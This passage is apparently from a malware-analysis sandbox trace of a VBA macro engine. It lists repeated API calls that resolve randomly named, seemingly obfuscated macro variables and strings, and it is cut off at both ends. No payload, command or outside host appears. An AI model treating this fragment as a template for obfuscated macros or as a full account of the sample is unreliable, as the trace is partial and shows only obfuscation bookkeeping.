_Dst=0x305060, _DstSize=0xa, _Src="LulLmdRaw" | out: _Dst="LulLmdRaw") returned 0x0 [0018.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="LulLmdRaw") returned 10 [0018.873] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.873] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LulLmdRaw", lHashVal=0x10b785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.873] IUnknown:Release (This=0x7919520) returned 0x10 [0018.873] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.873] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LulLmdRaw", lHashVal=0x10b785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.873] IUnknown:Release (This=0x7346470) returned 0xb [0018.873] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.873] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LulLmdRaw", lHashVal=0x10b785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.873] IUnknown:Release (This=0x7345930) returned 0x7 [0018.873] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.873] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LulLmdRaw", lHashVal=0x10b785, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.873] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.873] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.873] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_LulLmdRaw" | out: _Dst="_B_var_LulLmdRaw") returned 0x0 [0018.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_LulLmdRaw") returned 17 [0018.873] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.873] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LulLmdRaw", lHashVal=0x10b149, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.873] IUnknown:Release (This=0x7919520) returned 0x10 [0018.873] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.873] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LulLmdRaw", lHashVal=0x10b149, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.873] IUnknown:Release (This=0x7346470) returned 0xb [0018.873] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.873] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LulLmdRaw", lHashVal=0x10b149, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.873] IUnknown:Release (This=0x7345930) returned 0x7 [0018.873] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.873] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LulLmdRaw", lHashVal=0x10b149, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.873] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.873] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.873] IUnknown:Release (This=0x7919520) returned 0x10 [0018.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb760ac, cbMultiByte=31, lpWideCharStr=0xcfa0a9c, cchWideChar=64 | out: lpWideCharStr="sjRhPSNMANQzCE/c OGUzFhJwPlTMdR") returned 31 [0018.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ijiiWi") returned 0x108863 [0018.874] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="ijiiWi" | out: _Dst="ijiiWi") returned 0x0 [0018.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="ijiiWi") returned 7 [0018.874] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.874] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ijiiWi", lHashVal=0x108863, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.874] IUnknown:Release (This=0x7919520) returned 0x10 [0018.874] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.874] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ijiiWi", lHashVal=0x108863, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.874] IUnknown:Release (This=0x7346470) returned 0xb [0018.874] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.874] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ijiiWi", lHashVal=0x108863, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.874] IUnknown:Release (This=0x7345930) returned 0x7 [0018.874] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.874] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ijiiWi", lHashVal=0x108863, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.874] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.874] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.874] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_ijiiWi" | out: _Dst="_B_var_ijiiWi") returned 0x0 [0018.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_ijiiWi") returned 14 [0018.874] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.874] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ijiiWi", lHashVal=0x1002cd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.874] IUnknown:Release (This=0x7919520) returned 0x10 [0018.874] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.874] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ijiiWi", lHashVal=0x1002cd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.874] IUnknown:Release (This=0x7346470) returned 0xb [0018.874] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.874] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ijiiWi", lHashVal=0x1002cd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.874] IUnknown:Release (This=0x7345930) returned 0x7 [0018.874] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.874] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ijiiWi", lHashVal=0x1002cd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.874] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.874] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.874] IUnknown:Release (This=0x7919520) returned 0x10 [0018.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb760e4, cbMultiByte=10, lpWideCharStr=0xcfa17f8, cchWideChar=22 | out: lpWideCharStr="IXDwwDAYAw") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb760fe, cbMultiByte=10, lpWideCharStr=0xcfa1c42, cchWideChar=22 | out: lpWideCharStr="qfZKHKzJCz") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76112, cbMultiByte=10, lpWideCharStr=0xcfa1dec, cchWideChar=22 | out: lpWideCharStr="ivUuNsSWjB") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76126, cbMultiByte=10, lpWideCharStr=0xcfa1f96, cchWideChar=22 | out: lpWideCharStr="iStaVwWoUA") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7613a, cbMultiByte=10, lpWideCharStr=0xcfa2140, cchWideChar=22 | out: lpWideCharStr="bGVHAstESC") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7614e, cbMultiByte=10, lpWideCharStr=0xcfa22ea, cchWideChar=22 | out: lpWideCharStr="wYCAuMCJiD") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76162, cbMultiByte=10, lpWideCharStr=0xcfa2494, cchWideChar=22 | out: lpWideCharStr="lipwOYmwoJ") returned 10 [0018.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76176, cbMultiByte=10, lpWideCharStr=0xcfa263e, cchWideChar=22 | out: lpWideCharStr="oIpBYcaNuU") returned 10 [0018.875] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcfb0000 [0018.877] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SoDjVAdRiJI") returned 0x1044e0 [0018.877] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="SoDjVAdRiJI" | out: _Dst="SoDjVAdRiJI") returned 0x0 [0018.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="SoDjVAdRiJI") returned 12 [0018.877] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.877] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SoDjVAdRiJI", lHashVal=0x1044e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.877] IUnknown:Release (This=0x7919520) returned 0x10 [0018.877] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.877] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SoDjVAdRiJI", lHashVal=0x1044e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.877] IUnknown:Release (This=0x7346470) returned 0xb [0018.877] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.877] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SoDjVAdRiJI", lHashVal=0x1044e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.877] IUnknown:Release (This=0x7345930) returned 0x7 [0018.877] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.877] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SoDjVAdRiJI", lHashVal=0x1044e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.877] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.877] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.877] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_SoDjVAdRiJI" | out: _Dst="_B_var_SoDjVAdRiJI") returned 0x0 [0018.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_SoDjVAdRiJI") returned 19 [0018.877] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.877] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SoDjVAdRiJI", lHashVal=0x103642, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.877] IUnknown:Release (This=0x7919520) returned 0x10 [0018.877] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.877] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SoDjVAdRiJI", lHashVal=0x103642, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.877] IUnknown:Release (This=0x7346470) returned 0xb [0018.877] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.877] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SoDjVAdRiJI", lHashVal=0x103642, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.877] IUnknown:Release (This=0x7345930) returned 0x7 [0018.877] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.877] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SoDjVAdRiJI", lHashVal=0x103642, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.877] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.877] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.877] IUnknown:Release (This=0x7919520) returned 0x10 [0018.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76194, cbMultiByte=10, lpWideCharStr=0xcfb0abc, cchWideChar=22 | out: lpWideCharStr="lKOBGjVwwz") returned 10 [0018.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb761ae, cbMultiByte=10, lpWideCharStr=0xcfb0f06, cchWideChar=22 | out: lpWideCharStr="ajpccscEJF") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb761c2, cbMultiByte=10, lpWideCharStr=0xcfb10b0, cchWideChar=22 | out: lpWideCharStr="bKLtDCZizC") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb761d6, cbMultiByte=10, lpWideCharStr=0xcfb125a, cchWideChar=22 | out: lpWideCharStr="cNwiiRBPHn") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb761ea, cbMultiByte=10, lpWideCharStr=0xcfb1404, cchWideChar=22 | out: lpWideCharStr="mCtNSqTBMc") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb761fe, cbMultiByte=10, lpWideCharStr=0xcfb15ae, cchWideChar=22 | out: lpWideCharStr="kXasNbwUwD") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76212, cbMultiByte=10, lpWideCharStr=0xcfb1758, cchWideChar=22 | out: lpWideCharStr="JqzwWNjLzL") returned 10 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76226, cbMultiByte=10, lpWideCharStr=0xcfb1902, cchWideChar=22 | out: lpWideCharStr="qNzWSZQwbM") returned 10 [0018.878] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FsoRUYaK") returned 0x10af32 [0018.878] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="FsoRUYaK" | out: _Dst="FsoRUYaK") returned 0x0 [0018.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="FsoRUYaK") returned 9 [0018.878] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.878] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="FsoRUYaK", lHashVal=0x10af32, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.878] IUnknown:Release (This=0x7919520) returned 0x10 [0018.879] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.879] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="FsoRUYaK", lHashVal=0x10af32, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.879] IUnknown:Release (This=0x7346470) returned 0xb [0018.879] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.879] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="FsoRUYaK", lHashVal=0x10af32, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.879] IUnknown:Release (This=0x7345930) returned 0x7 [0018.879] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.879] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="FsoRUYaK", lHashVal=0x10af32, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.879] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.879] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.879] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_FsoRUYaK" | out: _Dst="_B_var_FsoRUYaK") returned 0x0 [0018.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_FsoRUYaK") returned 16 [0018.879] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.879] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_FsoRUYaK", lHashVal=0x10773a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.879] IUnknown:Release (This=0x7919520) returned 0x10 [0018.879] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.879] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_FsoRUYaK", lHashVal=0x10773a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.879] IUnknown:Release (This=0x7346470) returned 0xb [0018.879] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.879] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_FsoRUYaK", lHashVal=0x10773a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.879] IUnknown:Release (This=0x7345930) returned 0x7 [0018.879] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.879] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_FsoRUYaK", lHashVal=0x10773a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.879] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.879] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.879] IUnknown:Release (This=0x7919520) returned 0x10 [0018.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76244, cbMultiByte=10, lpWideCharStr=0xcfb3d74, cchWideChar=22 | out: lpWideCharStr="afLBRqrXfr") returned 10 [0018.879] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcfc0000 [0018.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7625e, cbMultiByte=10, lpWideCharStr=0xcfc01e4, cchWideChar=22 | out: lpWideCharStr="RJujmszRBZ") returned 10 [0018.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76272, cbMultiByte=10, lpWideCharStr=0xcfc038e, cchWideChar=22 | out: lpWideCharStr="XQKBAwCird") returned 10 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76286, cbMultiByte=10, lpWideCharStr=0xcfc0538, cchWideChar=22 | out: lpWideCharStr="OKGIUzWdLC") returned 10 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7629a, cbMultiByte=10, lpWideCharStr=0xcfc06e2, cchWideChar=22 | out: lpWideCharStr="aQAraNciml") returned 10 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb762ae, cbMultiByte=10, lpWideCharStr=0xcfc088c, cchWideChar=22 | out: lpWideCharStr="dwIjEKUKAS") returned 10 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb762c2, cbMultiByte=10, lpWideCharStr=0xcfc0a36, cchWideChar=22 | out: lpWideCharStr="oJfCcHCmPm") returned 10 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb762d6, cbMultiByte=10, lpWideCharStr=0xcfc0be0, cchWideChar=22 | out: lpWideCharStr="WVFwwGPTbn") returned 10 [0018.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NmHQn") returned 0x10eaed [0018.881] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="NmHQn" | out: _Dst="NmHQn") returned 0x0 [0018.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="NmHQn") returned 6 [0018.881] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.881] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="NmHQn", lHashVal=0x10eaed, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.881] IUnknown:Release (This=0x7919520) returned 0x10 [0018.881] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.881] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="NmHQn", lHashVal=0x10eaed, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.881] IUnknown:Release (This=0x7346470) returned 0xb [0018.881] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.881] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="NmHQn", lHashVal=0x10eaed, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.882] IUnknown:Release (This=0x7345930) returned 0x7 [0018.882] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.882] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="NmHQn", lHashVal=0x10eaed, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.882] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.882] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.882] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_NmHQn" | out: _Dst="_B_var_NmHQn") returned 0x0 [0018.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_NmHQn") returned 13 [0018.882] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.882] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_NmHQn", lHashVal=0x10aeda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.882] IUnknown:Release (This=0x7919520) returned 0x10 [0018.882] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.882] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_NmHQn", lHashVal=0x10aeda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.882] IUnknown:Release (This=0x7346470) returned 0xb [0018.882] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.882] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_NmHQn", lHashVal=0x10aeda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.882] IUnknown:Release (This=0x7345930) returned 0x7 [0018.882] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.882] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_NmHQn", lHashVal=0x10aeda, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.882] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.882] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.882] IUnknown:Release (This=0x7919520) returned 0x10 [0018.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb762f4, cbMultiByte=36, lpWideCharStr=0xcfc3052, cchWideChar=74 | out: lpWideCharStr="XRlIsXJm^SmzLvDHmNhKWtOOYEXhoERThfNP") returned 36 [0018.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FfCOE") returned 0x10d8e0 [0018.882] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="FfCOE" | out: _Dst="FfCOE") returned 0x0 [0018.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="FfCOE") returned 6 [0018.882] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.882] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="FfCOE", lHashVal=0x10d8e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.882] IUnknown:Release (This=0x7919520) returned 0x10 [0018.882] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.882] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="FfCOE", lHashVal=0x10d8e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.882] IUnknown:Release (This=0x7346470) returned 0xb [0018.882] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.882] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="FfCOE", lHashVal=0x10d8e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.882] IUnknown:Release (This=0x7345930) returned 0x7 [0018.883] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.883] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="FfCOE", lHashVal=0x10d8e0, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.883] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.883] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.883] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_FfCOE" | out: _Dst="_B_var_FfCOE") returned 0x0 [0018.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_FfCOE") returned 13 [0018.883] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.883] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_FfCOE", lHashVal=0x109ccd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.883] IUnknown:Release (This=0x7919520) returned 0x10 [0018.883] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.883] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_FfCOE", lHashVal=0x109ccd, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.883] IUnknown:Release (This=0x7346470) returned 0xb [0018.883] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.883] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_FfCOE", lHashVal=0x109ccd, pfName=0x305130, 